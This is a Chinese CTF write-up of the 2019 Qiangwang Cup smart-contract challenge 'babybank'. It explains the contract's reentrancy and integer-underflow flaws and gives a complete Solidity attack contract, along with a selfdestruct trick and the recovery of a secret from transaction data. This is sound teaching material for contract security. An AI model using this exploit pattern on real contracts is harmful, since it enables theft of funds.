前言

2019强网杯CTF智能合约题目--babybank wp及浅析

ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来

分析

反编译

使用OnlineSolidityDecompiler对合约进行逆向,获取合约源码伪代码

参考其他师傅的分析,贴出美化之后的合约源码

pragma solidity ^0.4.23;

contract babybank {
// 0xe3d670d7 0
mapping(address => uint) public balance;
// 0xd41b6db6 1
mapping(address => uint) public level;
// 2
address owner;
// 3
uint secret;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);

constructor()public{
owner = msg.sender;
}

//0x8c0320de
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//0x2e1a7d4d
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
// 重入漏洞
address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)();
// 整形下溢出
balance[msg.sender] -= amount;
}

//0x66d16cc3
function profit() public {
require(level[msg.sender] == 0);
require(msg.sender & 0xffff == 0xb1b1);

balance[msg.sender] += 1;
level[msg.sender] += 1;
}

// 0xa5e9585f
function xxx(uint256 number) public onlyOwner {
secret = number;
}

// 0x9189fec1
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);

balance[msg.sender] += 1;
level[msg.sender] += 1;
}

// 0xa9059cbb
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);

balance[msg.sender] = 0;
balance[to] = amount;
}
}

赋予合约ETH

合约初始状态无ETH,无法执行操作,故需让合约地址拥有一定量的ETH

而合约代码中并没有相关可以转入ETH的操作,因此只能通过带入ETH执行自毁让ETH强行转入合约地址中

构造自毁函数kill

function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}

带入0.2ETH利用kill函数自销毁,强行向合约转入0.2ETH

绕过利用分析

合约发起sendflag需要超过10000000000的token

withdraw函数存在重入漏洞以及整型下溢出

但限制了一次只能取款2token以及取款者账户token需要大于等于2

再来看如何增加token

增加token的函数只有profitguess两个函数

profit函数验证地址低4位为0xb1b1;且只能在初始状态即level=0的时候调用一次,调用一次之后level提升为1,balance+1

guess函数会验证secret值,而secret值由只能合约所有者调用的xxx函数赋予;且需要level=1,调用一次之后level提升为2,balance+1

那么函数调用流程就出来了,先profit()guess()

profit函数的绕过,可通过vanity eth获取一个符合条件的地址

guess函数的绕过,secret值在合约交易信息中可找到

合约部署者的最后一次交易事件中,InputData函数选择器中,前4个字节0xa5e9585fxxx函数的函数签名,其参数就是部署者调用xxx函数所传入的参数,即为secret

至此,通过了profitguess,满足withdraw的取款条件

由于withdraw函数存在重入漏洞以及溢出

构造攻击合约,利用重入漏洞以及溢出可获取巨额代币,并发起payforflag操作

pragma solidity ^0.4.24;

interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}

contract attacker {

BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);

uint private flag = 0;

function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("hunya", "hunya");
}

function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}

合约交易记录中可看到一系列操作,最后的一个交易是将合约中的ETH全部提现到合约所有者地址中,应该是清空ETH为了让下一个做题者又从合约0ETH状态开始做

查看事件记录,已有sendflag事件

参考

https://zhuanlan.zhihu.com/p/67205187

https://xz.aliyun.com/t/5281

2019强网杯babybank wp及浅析的更多相关文章

  1. 2019强网杯部分misc&web

    0x01 前言 前两天菜鸡+x和几个大哥算是正式参加了一次ctf的线上赛,也是第一次参加这种比赛(前一段时间巨佬也给了我们一个西班牙的比赛,不过不算是正式参赛,做题的时候,比赛已经结束了),没想到出师 ...

  2. [原题复现]2019强网杯WEB-随便注(多种方法)

    简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli  考察知识点:SQL注入漏洞-堆叠注入  线上平台:https://buuoj.cn( ...

  3. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

  4. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  5. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  6. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  7. 2019 第三届强网杯线上赛部分web复现

    0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...

  8. 强网杯web之假的反序列化漏洞

    说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highl ...

  9. 从2021强网杯的一道题学习docx文件操作

    [强网先锋]寻宝 啊对就是这道题,大佬们都贼快,菜如我还得慢慢整 key1 大佬们都一笔带过,哎,虽然简单,但是也别这么虐我们啊 我来简单写一下吧 <?php header('Content-t ...

随机推荐

  1. 【Gym - 100923A】Por Costel and Azerah(思维水题)

    Por Costel and Azerah Descriptions 给你n个数 问你,有多少个子序列 的和是偶数 Example Input 233 10 124 2 Output 33 题目链接 ...

  2. Elasticsearch 7.x Nested 嵌套类型查询 | ES 干货

    一.什么是 ES Nested 嵌套 Elasticsearch 有很多数据类型,大致如下: 基本数据类型: string 类型.ES 7.x 中,string 类型会升级为:text 和 keywo ...

  3. 基于ZK的 Dubbo-admin 与 Dubbo-monitor 搭建

    背景 最近项目中使用了 dubbo 在实现服务注册和发现,需要实现对服务提供者和调用者的监控,之前有研究过基于 redis作为注册中心的监控平台,不过本文基于 zk 作为注册中心,进行 dubbo-a ...

  4. Linux命令大全(简)

    rm--删除文件和目录   -i 删除一个已存在的文件前,提示用户进行确认.   -r 递归的删除目录. mkdir--创建目录 cp--复制文件和目录   -i 在覆盖一个已存在的目录前,提示用户进 ...

  5. Spring还可以这样用缓存,你知道吗?

    大家在项目开发过程中,或多或少都用过缓存,为了减少数据库的压力,把数据放在缓存当中,当访问的请求过来时,直接从缓存读取.缓存一般都是基于内存的,读取速度比较快,市面上比较常见的缓存有:memcache ...

  6. java并发笔记之java线程模型

    警告⚠️:本文耗时很长,先做好心理准备 java当中的线程和操作系统的线程是什么关系? 猜想: java thread —-对应-—> OS thread Linux关于操作系统的线程控制源码: ...

  7. 动态规划_Sumsets_POJ-2229

    Farmer John commanded his cows to search . Here are the possible sets of numbers that sum to : ) +++ ...

  8. 《HelloGitHub》第 40 期

    <HelloGitHub>第 40 期 兴趣是最好的老师,HelloGitHub 就是帮你找到兴趣! 简介 分享 GitHub 上有趣.入门级的开源项目. 这是一个面向编程新手.热爱编程. ...

  9. Linux 下实践 VxLAN:虚拟机和 Docker 场景

    本文首发于我的公众号 Linux云计算网络(id: cloud_dev),专注于干货分享,号内有 10T 书籍和视频资源,后台回复 「1024」 即可领取,欢迎大家关注,二维码文末可以扫. 在上篇文章 ...

  10. python:函数可以返回值--编写脚本计算24 + 34 / 100 - 1023

    1.脚本 def add(a,b):    return (a+b)def div(a,b,c):    return (a/b-c)x = div(34,100,1023)y = add(24,x) ...